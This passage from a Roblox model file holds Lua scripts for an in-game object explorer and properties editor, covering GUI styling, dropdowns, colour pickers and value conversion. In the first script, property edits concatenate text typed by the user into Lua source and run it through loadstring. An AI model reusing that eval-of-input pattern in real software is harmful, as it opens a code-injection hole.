if ItemGuis[i]:FindFirstChild(&quot;ItemName&quot;) ~= nil then

ItemGuis[i].ItemName.MouseButton1Down:connect(function()
if ItemGuis[i].ObjectValue.Value == nil then return end
_G.Selection.Value = ItemGuis[i].ObjectValue.Value
search.Text = &quot;Search in &quot;.._G.Selection.Value.Name
table.insert(ScrollPlaces, ExpScrollNumber)
ExpScrollNumber = 1
UpdateMainGuis()
end)

ItemGuis[i].ItemName.MouseButton2Down:connect(function()
options.Visible = true
options.Position = UDim2.new(-0.5,0,ItemGuis[i].Position.Y.Scale,0)
if ItemGuis[i].ObjectValue.Value ~= nil then
config.Value = ItemGuis[i].ObjectValue.Value
else
config.Value = nil
end
end)

ItemGuis[i].ItemName.MouseEnter:connect(function()
pcall(function()
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ObjectHighlight&quot;) ~= nil then
if ItemGuis[i].ObjectValue.Value ~= nil then
if ItemGuis[i].ObjectValue.Value:IsA(&quot;BasePart&quot;) or ItemGuis[i].ObjectValue.Value:IsA(&quot;Model&quot;) then
wait()
if ItemGuis[i].ObjectValue.Value ~= nil then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = ItemGuis[i].ObjectValue.Value
end
end
if ItemGuis[i].ObjectValue.Value ~= nil then
if ItemGuis[i].ObjectValue.Value:IsA(&quot;Tool&quot;) or ItemGuis[i].ObjectValue.Value:IsA(&quot;Hat&quot;) then
if ItemGuis[i].ObjectValue.Value:FindFirstChild(&quot;Handle&quot;) ~= nil then
wait()
if ItemGuis[i].ObjectValue.Value ~= nil then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = ItemGuis[i].ObjectValue.Value.Handle
end
end
end
end
end
end
end)
end)

ItemGuis[i].ItemName.MouseLeave:connect(function()
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ObjectHighlight&quot;) ~= nil then
game.Players.LocalPlayer.PlayerGui.ObjectHighlight.Adornee = nil
end
end)
end
end
end

function PropertyFunction(Gui)
if Gui == &quot;&quot; or Gui == nil then return end
if Gui:IsA(&quot;TextBox&quot;) then
pcall(function()
Gui.FocusLost:connect(function()
end)
Property = Gui.Parent.PropertyName.Text
PropType = type(_G.Selection.Value[Property])
if PropType == &quot;userdata&quot; or PropType == &quot;nil&quot; then
if Property == &quot;Parent&quot; or Property == &quot;PrimaryPart&quot; or Property == &quot;Adornee&quot; or Property == &quot;Value&quot; then
loadstring(&quot;_G.Selection.Value[Property] = &quot;..Gui.Text)()
elseif Property == &quot;Size&quot; or Property == &quot;Position&quot; or Property == &quot;Velocity&quot; or Property == &quot;RotVelocity&quot; or Property == &quot;Rotation&quot; or Property == &quot;velocity&quot; or Property == &quot;position&quot; or Property == &quot;maxForce&quot; or Property == &quot;maxTorque&quot; or Property == &quot;GripPos&quot; or Property == &quot;VertexColor&quot; or Property == &quot;Scale&quot; then
loadstring(&quot;_G.Selection.Value[Property] = Vector3.new(&quot;..Gui.Text..&quot;)&quot;)()
elseif Property == &quot;CFrame&quot; then
loadstring(&quot;_G.Selection.Value[Property] = CFrame.new(&quot;..Gui.Text..&quot;)&quot;)()
elseif Property == &quot;BrickColor&quot; then
loadstring([[_G.Selection.Value[Property] = BrickColor.new(&quot;]]..Gui.Text..[[&quot;)]])()
elseif Property == &quot;Ambient&quot; or Property == &quot;ColorShift_Bottom&quot; or Property == &quot;ColorShift_Top&quot; or Property == &quot;OutdoorAmbient&quot; or Property == &quot;ShadowColor&quot; or Property == &quot;FogColor&quot; then
loadstring(&quot;_G.Selection.Value[Property] = Color3.new(&quot;..Gui.Text..&quot;)&quot;)()
elseif Property == &quot;Color&quot; then
if _G.Selection.Value:IsA(&quot;SelectionBox&quot;) then
loadstring([[_G.Selection.Value[Property] = BrickColor.new(&quot;]]..Gui.Text..[[&quot;)]])()
else
loadstring(&quot;_G.Selection.Value[Property] = Color3.new(&quot;..Gui.Text..&quot;)&quot;)()
end
else
loadstring([[_G.Selection.Value[Property] = &quot;]]..Gui.Text..[[&quot;]])()
end
else
loadstring([[_G.Selection.Value[Property] = &quot;]]..Gui.Text..[[&quot;]])()
end
-- end)

UpdatePropGuis()
end)
elseif Gui:IsA(&quot;TextButton&quot;) then
Gui.MouseButton1Down:connect(function()
-- pcall(function()
Property = Gui.Parent.PropertyName.Text
if (_G.Selection.Value[Property]) == true then
_G.Selection.Value[Property] = false
elseif (_G.Selection.Value[Property]) == false then
_G.Selection.Value[Property] = true
end
-- end)
UpdatePropGuis()
end)
end
end

UpdateMainGuis()
ItemGuisClicked()

else -- End of Explorer View...
pcall(function()
if game.Players.LocalPlayer.PlayerGui.RobloxGui:FindFirstChild(&quot;PlayerListScreen&quot;) ~= nil then
game.Players.LocalPlayer.PlayerGui.RobloxGui.PlayerListScreen.Visible = true
end end)
for i,v in pairs(game.Players.LocalPlayer.PlayerGui:GetChildren()) do
if v.Name == &quot;ObjectHighlight&quot; then
v:Remove()
end
end
if game.Players.LocalPlayer.PlayerGui:FindFirstChild(&quot;ExplorerGui&quot;) ~= nil then
game.Players.LocalPlayer.PlayerGui.ExplorerGui:Remove()
end
EmptyTable = {}
if MouseFunction ~= nil then
MouseFunction:disconnect()
KeyDownFunction:disconnect()
KeyUpFunction:disconnect()
end
end
end)
end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="ScreenGui" referent="RBX57">
				<Properties>
					<string name="Name">2012Lexplorer</string>
				</Properties>
				<Item class="Frame" referent="RBX58">
					<Properties>
						<bool name="Active">true</bool>
						<Color3 name="BackgroundColor3">4294967295</Color3>
						<float name="BackgroundTransparency">0.100000001</float>
						<Color3 name="BorderColor3">4291217094</Color3>
						<int name="BorderSizePixel">1</int>
						<bool name="ClipsDescendants">false</bool>
						<bool name="Draggable">false</bool>
						<string name="Name">PropertiesFrame</string>
						<UDim2 name="Position">
							<XS>1</XS>
							<XO>-310</XO>
							<YS>0.5</YS>
							<YO>18</YO>
						</UDim2>
						<UDim2 name="Size">
							<XS>0</XS>
							<XO>300</XO>
							<YS>0.5</YS>
							<YO>-18</YO>
						</UDim2>
						<token name="SizeConstraint">0</token>
						<token name="Style">0</token>
						<bool name="Visible">true</bool>
						<int name="ZIndex">1</int>
					</Properties>
					<Item class="LocalScript" referent="RBX59">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Properties</string>
							<ProtectedString name="Source">--[[
&#9;
Change log:

09/18
&#9;Fixed checkbox mouseover sprite
&#9;Encapsulated checkbox creation into separate method
&#9;Fixed another checkbox issue

09/15
&#9;Invalid input is ignored instead of setting to default of that data type
&#9;Consolidated control methods and simplified them
&#9;All input goes through ToValue method
&#9;Fixed position of BrickColor palette
&#9;Made DropDown appear above row if it would otherwise exceed the page height
&#9;Cleaned up stylesheets

09/14
&#9;Made properties window scroll when mouse wheel scrolled
&#9;Object/Instance and Color3 data types handled properly
&#9;Multiple BrickColor controls interfering with each other fixed
&#9;Added support for Content data type
&#9;
--]]


-- Services
local Teams = game:GetService(&quot;Teams&quot;)
local Workspace = game:GetService(&quot;Workspace&quot;)
local Debris = game:GetService(&quot;Debris&quot;)
local ContentProvider = game:GetService(&quot;ContentProvider&quot;)
local Players = game:GetService(&quot;Players&quot;)

-- Styles

function CreateColor3(r, g, b) return Color3.new(r/255,g/255,b/255) end

local Styles = {
&#9;Font = Enum.Font.Arial;
&#9;Margin = 5;
&#9;Black = CreateColor3(0,0,0);
&#9;White = CreateColor3(255,255,255);
}

local Row = {
&#9;Font = Styles.Font;
&#9;FontSize = Enum.FontSize.Size14;
&#9;TextXAlignment = Enum.TextXAlignment.Left;
&#9;TextColor = Styles.Black;
&#9;TextColorOver = Styles.White;
&#9;TextLockedColor = CreateColor3(120,120,120);
&#9;Height = 24;
&#9;BorderColor = CreateColor3(216,216,216);
&#9;BackgroundColor = Styles.White;
&#9;BackgroundColorAlternate = CreateColor3(246,246,246);
&#9;BackgroundColorMouseover = CreateColor3(211,224,244);
&#9;TitleMarginLeft = 15;
}

local DropDown = {
&#9;Font = Styles.Font;
&#9;FontSize = Enum.FontSize.Size14;
&#9;TextColor = CreateColor3(0,0,0);
&#9;TextColorOver = Styles.White;
&#9;TextXAlignment = Enum.TextXAlignment.Left;
&#9;Height = 16;
&#9;BackColor = Styles.White;
&#9;BackColorOver = CreateColor3(86,125,188);
&#9;BorderColor = CreateColor3(216,216,216);
&#9;BorderSizePixel = 2;
&#9;ArrowColor = CreateColor3(160,160,160);
&#9;ArrowColorOver = Styles.Black;
}

local BrickColors = {
&#9;BoxSize = 13;
&#9;BorderSizePixel = 1;
&#9;BorderColor = CreateColor3(160,160,160);
&#9;FrameColor = CreateColor3(160,160,160);
&#9;Size = 20;
&#9;Padding = 4;
&#9;ColorsPerRow = 8;
&#9;OuterBorder = 1;
&#9;OuterBorderColor = Styles.Black;
}

function HidePlayerList()
&#9;--game.StarterGui:SetCoreGuiEnabled(&quot;All&quot;, false)
end

while _G.qAPI == nil do
&#9;wait(.1)
end

wait(1)

local Enums = _G.qAPI.Enums
local Properties = _G.qAPI.Classes

local Gui = script.Parent.Parent
local PropertiesFrame = Gui:FindFirstChild(&quot;PropertiesFrame&quot;)
local ExplorerFrame = Gui:FindFirstChild(&quot;ExplorerPanel&quot;)

local bindGetSelection = ExplorerFrame.GetSelection
local bindSelectionChanged = ExplorerFrame.SelectionChanged

local ContentUrl = ContentProvider.BaseUrl .. &quot;asset/?id=&quot;

function GetSelection()
&#9;local selection = bindGetSelection:Invoke()
&#9;if #selection == 0 then
&#9;&#9;return nil
&#9;else
&#9;&#9;return selection[1]
&#9;end 
end

-- Data Type Handling

function ToString(value, type)
&#9;if type == &quot;float&quot; then
&#9;&#9;return tostring(Round(value,2))
&#9;elseif type == &quot;Content&quot; then
&#9;&#9;if string.find(value,&quot;/asset&quot;) then
&#9;&#9;&#9;local match = string.find(value, &quot;=&quot;) + 1
&#9;&#9;&#9;local id = string.sub(value, match)
&#9;&#9;&#9;return id
&#9;&#9;else
&#9;&#9;&#9;return tostring(value)
&#9;&#9;end
&#9;elseif type == &quot;Vector2&quot; then
&#9;&#9;local x = value.x
&#9;&#9;local y = value.y
&#9;&#9;return string.format(&quot;%g, %g&quot;, x,y)
&#9;elseif type == &quot;Vector3&quot; then
&#9;&#9;local x = value.x
&#9;&#9;local y = value.y
&#9;&#9;local z = value.z
&#9;&#9;return string.format(&quot;%g, %g, %g&quot;, x,y,z)
&#9;elseif type == &quot;Color3&quot; then
&#9;&#9;local r = value.r
&#9;&#9;local g = value.g
&#9;&#9;local b = value.b
&#9;&#9;return string.format(&quot;%d, %d, %d&quot;, r*255,g*255,b*255)
&#9;elseif type == &quot;UDim2&quot; then
&#9;&#9;local xScale = value.X.Scale
&#9;&#9;local xOffset = value.X.Offset
&#9;&#9;local yScale = value.Y.Scale
&#9;&#9;local yOffset = value.Y.Offset
&#9;&#9;return string.format(&quot;{%d, %d}, {%d, %d}&quot;, xScale, xOffset, yScale, yOffset)
&#9;else
&#9;&#9;return tostring(value)
&#9;end
end

function ToValue(value,type)
&#9;if type == &quot;Vector2&quot; then
&#9;&#9;local list = Split(value,&quot;,&quot;)
&#9;&#9;if #list &lt; 2 then return nil end
&#9;&#9;local x = tonumber(list[1]) or 0
&#9;&#9;local y = tonumber(list[2]) or 0
&#9;&#9;return Vector2.new(x,y)
&#9;elseif type == &quot;Vector3&quot; then
&#9;&#9;local list = Split(value,&quot;,&quot;)
&#9;&#9;if #list &lt; 3 then return nil end
&#9;&#9;local x = tonumber(list[1]) or 0
&#9;&#9;local y = tonumber(list[2]) or 0
&#9;&#9;local z = tonumber(list[3]) or 0
&#9;&#9;return Vector3.new(x,y,z)
&#9;elseif type == &quot;Color3&quot; then
&#9;&#9;local list = Split(value,&quot;,&quot;)
&#9;&#9;if #list &lt; 3 then return nil end
&#9;&#9;local r = tonumber(list[1]) or 0
&#9;&#9;local g = tonumber(list[2]) or 0
&#9;&#9;local b = tonumber(list[3]) or 0
&#9;&#9;return Color3.new(r/255,g/255, b/255)
&#9;elseif type == &quot;UDim2&quot; then
&#9;&#9;local list = Split(string.gsub(string.gsub(value, &quot;{&quot;, &quot;&quot;),&quot;}&quot;,&quot;&quot;),&quot;,&quot;)
&#9;&#9;if #list &lt; 4 then return nil end
&#9;&#9;local xScale = tonumber(list[1]) or 0
&#9;&#9;local xOffset = tonumber(list[2]) or 0
&#9;&#9;local yScale = tonumber(list[3]) or 0
&#9;&#9;local yOffset = tonumber(list[4]) or 0
&#9;&#9;return UDim2.new(xScale, xOffset, yScale, yOffset)
&#9;elseif type == &quot;Content&quot; then
&#9;&#9;if tonumber(value) ~= nil then
&#9;&#9;&#9;value = ContentUrl .. value
&#9;&#9;end
&#9;&#9;return value
&#9;elseif type == &quot;float&quot; or type == &quot;int&quot; or type == &quot;double&quot; then
&#9;&#9;return tonumber(value)
&#9;else
&#9;&#9;return nil
&#9;end
end

-- Number

function Round(number, decimalPlaces)
&#9;return tonumber(string.format(&quot;%.&quot; .. (decimalPlaces or 0) .. &quot;f&quot;, number))
end

-- Strings

function Split(str, delimiter)
&#9;local start = 1
&#9;local t = {}
&#9;while true do
&#9;&#9;local pos = string.find (str, delimiter, start, true)
&#9;&#9;if not pos then
&#9;&#9;&#9;break
&#9;&#9;end
&#9;&#9;table.insert (t, string.sub (str, start, pos - 1))
&#9;&#9;start = pos + string.len (delimiter)
&#9;end
&#9;table.insert (t, string.sub (str, start))
&#9;return t
end

-- Tables

function CopyTable(T)
  local t2 = {}
  for k,v in pairs(T) do
    t2[k] = v
  end
  return t2
end

function SortTable(T)
&#9;table.sort(T, 
&#9;&#9;function(x,y) return x.Name &lt; y.Name
&#9;end)
end

-- Spritesheet
local Sprite = {
&#9;Width = 13;
&#9;Height = 13;
}

local Spritesheet = {
&#9;Image = &quot;http://www.roblox.com/asset/?id=128896947&quot;;
&#9;Height = 256;
&#9;Width = 256;
}

local Images = {
&#9;&quot;unchecked&quot;,
&#9;&quot;checked&quot;,
&#9;&quot;unchecked_over&quot;,
&#9;&quot;checked_over&quot;,
&#9;&quot;unchecked_disabled&quot;,
&#9;&quot;checked_disabled&quot;
}

function SpritePosition(spriteName)
&#9;local x = 0
&#9;local y = 0
&#9;for i,v in pairs(Images) do
&#9;&#9;if (v == spriteName) then
&#9;&#9;&#9;return {x, y}
&#9;&#9;end
&#9;&#9;x = x + Sprite.Height
&#9;&#9;if (x + Sprite.Width) &gt; Spritesheet.Width then
&#9;&#9;&#9;x = 0
&#9;&#9;&#9;y = y + Sprite.Height
&#9;&#9;end
&#9;end
end

function GetCheckboxImageName(checked, readOnly, mouseover)
&#9;if checked then
&#9;&#9;if readOnly then
&#9;&#9;&#9;return &quot;checked_disabled&quot;
&#9;&#9;elseif mouseover then
&#9;&#9;&#9;return &quot;checked_over&quot;
&#9;&#9;else
&#9;&#9;&#9;return &quot;checked&quot;
&#9;&#9;end
&#9;else
&#9;&#9;if readOnly then
&#9;&#9;&#9;return &quot;unchecked_disabled&quot;
&#9;&#9;elseif mouseover then
&#9;&#9;&#9;return &quot;unchecked_over&quot;
&#9;&#9;else
&#9;&#9;&#9;return &quot;unchecked&quot;
&#9;&#9;end
&#9;end
end

function GetProperties(className,root)
&#9;root = root or true
&#9;local objectdata = Properties[className]
&#9;if objectdata == nil then
&#9;&#9;return {}
&#9;end
&#9;local properties = CopyTable(objectdata.Properties)
&#9;if objectdata[&quot;Inherits&quot;] then
&#9;&#9;local inheritedProperties = GetProperties(objectdata[&quot;Inherits&quot;],false)
&#9;&#9;for _,property in pairs(inheritedProperties) do
&#9;&#9;&#9;table.insert(properties,property)
&#9;&#9;end
&#9;end
&#9;if (root) then
&#9;&#9;SortTable(properties)
&#9;end&#9;
&#9;return properties
end

-- Gui Controls --

function CreateCell()
&#9;local tableCell = Instance.new(&quot;Frame&quot;)
&#9;tableCell.Size = UDim2.new(0.5, -1, 1, 0)
&#9;tableCell.BackgroundColor3 = Row.BackgroundColor
&#9;tableCell.BorderColor3 = Row.BorderColor
&#9;return tableCell
end
&#9;
function CreateLabel(readOnly)
&#9;local label = Instance.new(&quot;TextLabel&quot;)
&#9;label.Font = Row.Font
&#9;label.FontSize = Row.FontSize
&#9;label.TextXAlignment = Row.TextXAlignment
&#9;label.BackgroundTransparency = 1
&#9;
&#9;if readOnly then
&#9;&#9;label.TextColor3 = Row.TextLockedColor
&#9;else
&#9;&#9;label.TextColor3 = Row.TextColor
&#9;end
&#9;return label
end

function CreateTextButton(readOnly, onClick)
&#9;local button = Instance.new(&quot;TextButton&quot;)
&#9;button.Font = Row.Font
&#9;button.FontSize = Row.FontSize
&#9;button.TextXAlignment = Row.TextXAlignment
&#9;button.BackgroundTransparency = 1
&#9;if readOnly then
&#9;&#9;button.TextColor3 = Row.TextLockedColor
&#9;else
&#9;&#9;button.TextColor3 = Row.TextColor
&#9;&#9;button.MouseButton1Click:connect(function()
&#9;&#9;&#9;onClick()
&#9;&#9;end)
&#9;end
&#9;return button
end

function CreateTextBox(readOnly)
&#9;if readOnly then
&#9;&#9;local box = CreateLabel(readOnly)
&#9;&#9;return box
&#9;else
&#9;&#9;local box = Instance.new(&quot;TextBox&quot;)
&#9;&#9;box.ClearTextOnFocus = false
&#9;&#9;box.Font = Row.Font
&#9;&#9;box.FontSize = Row.FontSize
&#9;&#9;box.TextXAlignment = Row.TextXAlignment
&#9;&#9;box.BackgroundTransparency = 1
&#9;&#9;box.TextColor3 = Row.TextColor
&#9;&#9;return box
&#9;end
end

function CreateDropDownItem(text, onClick)
&#9;local button = Instance.new(&quot;TextButton&quot;)
&#9;button.Font = DropDown.Font
&#9;button.FontSize = DropDown.FontSize
&#9;button.TextColor3 = DropDown.TextColor
&#9;button.TextXAlignment = DropDown.TextXAlignment
&#9;button.BackgroundColor3 = DropDown.BackColor
&#9;button.AutoButtonColor = false
&#9;button.BorderSizePixel = 0
&#9;button.Active = true
&#9;button.Text = text
&#9;
&#9;button.MouseEnter:connect(function()
&#9;&#9;button.TextColor3 = DropDown.TextColorOver
&#9;&#9;button.BackgroundColor3 = DropDown.BackColorOver
&#9;end)
&#9;button.MouseLeave:connect(function()
&#9;&#9;button.TextColor3 = DropDown.TextColor
&#9;&#9;button.BackgroundColor3 = DropDown.BackColor
&#9;end)
&#9;button.MouseButton1Click:connect(function()
&#9;&#9;onClick(text)
&#9;end)&#9;
&#9;return button
end

function CreateDropDown(choices, currentChoice, readOnly, onClick)
&#9;local frame = Instance.new(&quot;Frame&quot;)&#9;
&#9;frame.Name = &quot;DropDown&quot;
&#9;frame.Size = UDim2.new(1, 0, 1, 0)
&#9;frame.BackgroundTransparency = 1
&#9;frame.Active = true
&#9;
&#9;local menu = nil
&#9;local arrow = nil
&#9;local expanded = false
&#9;local margin = DropDown.BorderSizePixel;
&#9;
&#9;local button = Instance.new(&quot;TextButton&quot;)
&#9;button.Font = Row.Font
&#9;button.FontSize = Row.FontSize
&#9;button.TextXAlignment = Row.TextXAlignment
&#9;button.BackgroundTransparency = 1
&#9;button.TextColor3 = Row.TextColor
&#9;if readOnly then
&#9;&#9;button.TextColor3 = Row.TextLockedColor
&#9;end
&#9;button.Text = currentChoice
&#9;button.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0)
&#9;button.Position = UDim2.new(0, Styles.Margin, 0, 0)
&#9;button.Parent = frame
&#9;
&#9;local function showArrow(color)
&#9;&#9;if arrow then arrow:Destroy() end
&#9;&#9;
&#9;&#9;local graphicTemplate = Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Name=&quot;Graphic&quot;;
&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;BackgroundColor3 = color;
&#9;&#9;})
&#9;&#9;local graphicSize = 16/2
&#9;&#9;
&#9;&#9;arrow = ArrowGraphic(graphicSize,&apos;Down&apos;,true,graphicTemplate)
&#9;&#9;arrow.Position = UDim2.new(1,-graphicSize * 2,0.5,-graphicSize/2)
&#9;&#9;arrow.Parent = frame
&#9;end
&#9;
&#9;local function hideMenu()
&#9;&#9;expanded = false
&#9;&#9;showArrow(DropDown.ArrowColor)
&#9;&#9;if menu then menu:Destroy() end
&#9;end
&#9;
&#9;local function showMenu()
&#9;&#9;expanded = true
&#9;&#9;menu = Instance.new(&quot;Frame&quot;)
&#9;&#9;menu.Size = UDim2.new(1, -2 * margin, 0, #choices * DropDown.Height)
&#9;&#9;menu.Position = UDim2.new(0, margin, 0, Row.Height + margin)
&#9;&#9;menu.BackgroundTransparency = 0
&#9;&#9;menu.BackgroundColor3 = DropDown.BackColor
&#9;&#9;menu.BorderColor3 = DropDown.BorderColor
&#9;&#9;menu.BorderSizePixel = DropDown.BorderSizePixel
&#9;&#9;menu.Active = true
&#9;&#9;menu.ZIndex = 5
&#9;&#9;menu.Parent = frame
&#9;&#9;
&#9;&#9;local parentFrameHeight = menu.Parent.Parent.Parent.Parent.Size.Y.Offset
&#9;&#9;local rowHeight = menu.Parent.Parent.Parent.Position.Y.Offset
&#9;&#9;print(&quot;parentFrameHeight: &quot; .. parentFrameHeight)
&#9;&#9;if (rowHeight + menu.Size.Y.Offset) &gt; parentFrameHeight then
&#9;&#9;&#9;print(&quot;Too low&quot;)
&#9;&#9;&#9;menu.Position = UDim2.new(0, margin, 0, -1 * (#choices * DropDown.Height) - margin)
&#9;&#9;end
&#9;&#9;&#9;
&#9;&#9;local function choice(name)
&#9;&#9;&#9;onClick(name)
&#9;&#9;&#9;hideMenu()
&#9;&#9;end
&#9;&#9;
&#9;&#9;for _,name in pairs(choices) do
&#9;&#9;&#9;local option = CreateDropDownItem(name, function()
&#9;&#9;&#9;&#9;choice(name)
&#9;&#9;&#9;end)
&#9;&#9;&#9;option.Size = UDim2.new(1, 0, 0, 16)
&#9;&#9;&#9;option.Position = UDim2.new(0, 0, 0, (_ - 1) * DropDown.Height)
&#9;&#9;&#9;option.ZIndex = menu.ZIndex
&#9;&#9;&#9;option.Parent = menu
&#9;&#9;end
&#9;end
&#9;
&#9;showArrow(DropDown.ArrowColor)
&#9;
&#9;if not readOnly then
&#9;&#9;
&#9;&#9;button.MouseEnter:connect(function()
&#9;&#9;&#9;button.TextColor3 = Row.TextColor
&#9;&#9;&#9;showArrow(DropDown.ArrowColorOver)
&#9;&#9;end)
&#9;&#9;button.MouseLeave:connect(function()
&#9;&#9;&#9;button.TextColor3 = Row.TextColor
&#9;&#9;&#9;if not expanded then
&#9;&#9;&#9;&#9;showArrow(DropDown.ArrowColor)
&#9;&#9;&#9;end
&#9;&#9;end)
&#9;&#9;button.MouseButton1Click:connect(function()
&#9;&#9;&#9;if expanded then
&#9;&#9;&#9;&#9;hideMenu()
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;showMenu()
&#9;&#9;&#9;end
&#9;&#9;end)
&#9;end
&#9;
&#9;return frame,button
end

function CreateBrickColor(readOnly, onClick)
&#9;local frame = Instance.new(&quot;Frame&quot;)
&#9;frame.Size = UDim2.new(1,0,1,0)
&#9;frame.BackgroundTransparency = 1
&#9;
&#9;local colorPalette = Instance.new(&quot;Frame&quot;)
&#9;colorPalette.BackgroundTransparency = 0
&#9;colorPalette.SizeConstraint = Enum.SizeConstraint.RelativeXX
&#9;colorPalette.Size = UDim2.new(1, -2 * BrickColors.OuterBorder, 1, -2 * BrickColors.OuterBorder)
&#9;colorPalette.BorderSizePixel = BrickColors.BorderSizePixel
&#9;colorPalette.BorderColor3 = BrickColors.BorderColor
&#9;colorPalette.Position = UDim2.new(0, BrickColors.OuterBorder, 0, BrickColors.OuterBorder + Row.Height)
&#9;colorPalette.ZIndex = 5
&#9;colorPalette.Visible = false
&#9;colorPalette.BorderSizePixel = BrickColors.OuterBorder
&#9;colorPalette.BorderColor3 = BrickColors.OuterBorderColor
&#9;colorPalette.Parent = frame
&#9;
&#9;local function show()
&#9;&#9;colorPalette.Visible = true
&#9;end
&#9;
&#9;local function hide()
&#9;&#9;colorPalette.Visible = false
&#9;end
&#9;
&#9;local function toggle()
&#9;&#9;colorPalette.Visible = not colorPalette.Visible
&#9;end
&#9;
&#9;local colorBox = Instance.new(&quot;TextButton&quot;, frame)
&#9;colorBox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)
&#9;colorBox.Size = UDim2.new(0, BrickColors.BoxSize, 0, BrickColors.BoxSize)
&#9;colorBox.Text = &quot;&quot;
&#9;colorBox.MouseButton1Click:connect(function()
&#9;&#9;if not readOnly then
&#9;&#9;&#9;toggle()
&#9;&#9;end
&#9;end)
&#9;
&#9;if readOnly then
&#9;&#9;colorBox.AutoButtonColor = false
&#9;end
&#9;
&#9;local spacingBefore = (Styles.Margin * 2) + BrickColors.BoxSize
&#9;
&#9;local propertyLabel = CreateTextButton(readOnly, function()
&#9;&#9;if not readOnly then
&#9;&#9;&#9;toggle()
&#9;&#9;end
&#9;end)
&#9;propertyLabel.Size = UDim2.new(1, (-1 * spacingBefore) - Styles.Margin, 1, 0)
&#9;propertyLabel.Position = UDim2.new(0, spacingBefore, 0, 0)
&#9;propertyLabel.Parent = frame
&#9;
&#9;local size = (1 / BrickColors.ColorsPerRow)
&#9;
&#9;for index = 0, 63 do
&#9;&#9;local brickColor = BrickColor.palette(index)
&#9;&#9;local color3 = brickColor.Color
&#9;&#9;
&#9;&#9;local x = size * (index % BrickColors.ColorsPerRow)
&#9;&#9;local y = size * math.floor(index / BrickColors.ColorsPerRow)
&#9;
&#9;&#9;local brickColorBox = Instance.new(&quot;TextButton&quot;)
&#9;&#9;brickColorBox.Text = &quot;&quot;
&#9;&#9;brickColorBox.Size = UDim2.new(size,0,size,0)
&#9;&#9;brickColorBox.BackgroundColor3 = color3
&#9;&#9;brickColorBox.Position = UDim2.new(x, 0, y, 0)
&#9;&#9;brickColorBox.ZIndex = colorPalette.ZIndex
&#9;&#9;brickColorBox.Parent = colorPalette
&#9;
&#9;&#9;brickColorBox.MouseButton1Click:connect(function()
&#9;&#9;&#9;hide()
&#9;&#9;&#9;onClick(brickColor)
&#9;&#9;end)
&#9;end
&#9;
&#9;return frame,propertyLabel,colorBox
end

function CreateColor3Control(readOnly, onClick)
&#9;local frame = Instance.new(&quot;Frame&quot;)
&#9;frame.Size = UDim2.new(1,0,1,0)
&#9;frame.BackgroundTransparency = 1
&#9;
&#9;local colorBox = Instance.new(&quot;TextButton&quot;, frame)
&#9;colorBox.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)
&#9;colorBox.Size = UDim2.new(0, BrickColors.BoxSize, 0, BrickColors.BoxSize)
&#9;colorBox.Text = &quot;&quot;
&#9;colorBox.AutoButtonColor = false
&#9;
&#9;local spacingBefore = (Styles.Margin * 2) + BrickColors.BoxSize
&#9;local box = CreateTextBox(readOnly)
&#9;box.Size = UDim2.new(1, (-1 * spacingBefore) - Styles.Margin, 1, 0)
&#9;box.Position = UDim2.new(0, spacingBefore, 0, 0)
&#9;box.Parent = frame
&#9;
&#9;return frame,box,colorBox
end

function CreateCheckbox(value, readOnly, onClick)
&#9;local checked = value
&#9;local mouseover = false

&#9;local checkboxFrame = Instance.new(&quot;ImageButton&quot;)
&#9;checkboxFrame.Size = UDim2.new(0, Sprite.Width, 0, Sprite.Height)
&#9;checkboxFrame.BackgroundTransparency = 1
&#9;checkboxFrame.ClipsDescendants = true
&#9;--checkboxFrame.Position = UDim2.new(0, Styles.Margin, 0, Styles.Margin)

&#9;local spritesheetImage = Instance.new(&quot;ImageLabel&quot;, checkboxFrame)
&#9;spritesheetImage.Name = &quot;SpritesheetImageLabel&quot;
&#9;spritesheetImage.Size = UDim2.new(0, Spritesheet.Width, 0, Spritesheet.Height)
&#9;spritesheetImage.Image = Spritesheet.Image
&#9;spritesheetImage.BackgroundTransparency = 1
&#9;
&#9;local function updateSprite()
&#9;&#9;print(&quot;Checked value in updateSprite: &quot; .. tostring(checked))
&#9;&#9;local spriteName = GetCheckboxImageName(checked, readOnly, mouseover)
&#9;&#9;local spritePosition = SpritePosition(spriteName)
&#9;&#9;spritesheetImage.Position = UDim2.new(0, -1 * spritePosition[1], 0, -1 * spritePosition[2])
&#9;end
&#9;
&#9;function setValue(val)
&#9;&#9;checked = val
&#9;&#9;print(&quot;Checked value in setValue(&quot; .. tostring(checked) .. &quot;)&quot;)
&#9;&#9;updateSprite()
&#9;end

&#9;if not readOnly then
&#9;&#9;checkboxFrame.MouseEnter:connect(function() mouseover = true updateSprite() end)
&#9;&#9;checkboxFrame.MouseLeave:connect(function() mouseover = false updateSprite() end)
&#9;&#9;checkboxFrame.MouseButton1Click:connect(function()
&#9;&#9;&#9;--print(&quot;Clicked checkbox&quot;)
&#9;&#9;&#9;onClick(checked)
&#9;&#9;end)
&#9;end
&#9;
&#9;updateSprite()
&#9;
&#9;return checkboxFrame, setValue
end



-- Code for handling controls of various data types --

local Controls = {}

Controls[&quot;default&quot;] = function(object, propertyData, readOnly)
&#9;local propertyName = propertyData[&quot;Name&quot;]
&#9;local propertyType = propertyData[&quot;Type&quot;]
&#9;
&#9;local box = CreateTextBox(readOnly)
&#9;box.Size = UDim2.new(1, -2 * Styles.Margin, 1, 0)
&#9;box.Position = UDim2.new(0, Styles.Margin, 0, 0)

&#9;local function update()
&#9;&#9;local value = object[propertyName]
&#9;&#9;box.Text = ToString(value, propertyType)
&#9;end
&#9;
&#9;if not readOnly then
&#9;&#9;box.FocusLost:connect(function(enterPressed)
&#9;&#9;&#9;Set(object, propertyData, ToValue(box.Text,propertyType))
&#9;&#9;&#9;update()
&#9;&#9;end)
&#9;end
&#9;
&#9;update()
&#9;
&#9;object.Changed:connect(function(property)
&#9;&#9;if (property == propertyName) then
&#9;&#9;&#9;update()
&#9;&#9;end
&#9;end)
&#9;
&#9;return box
end

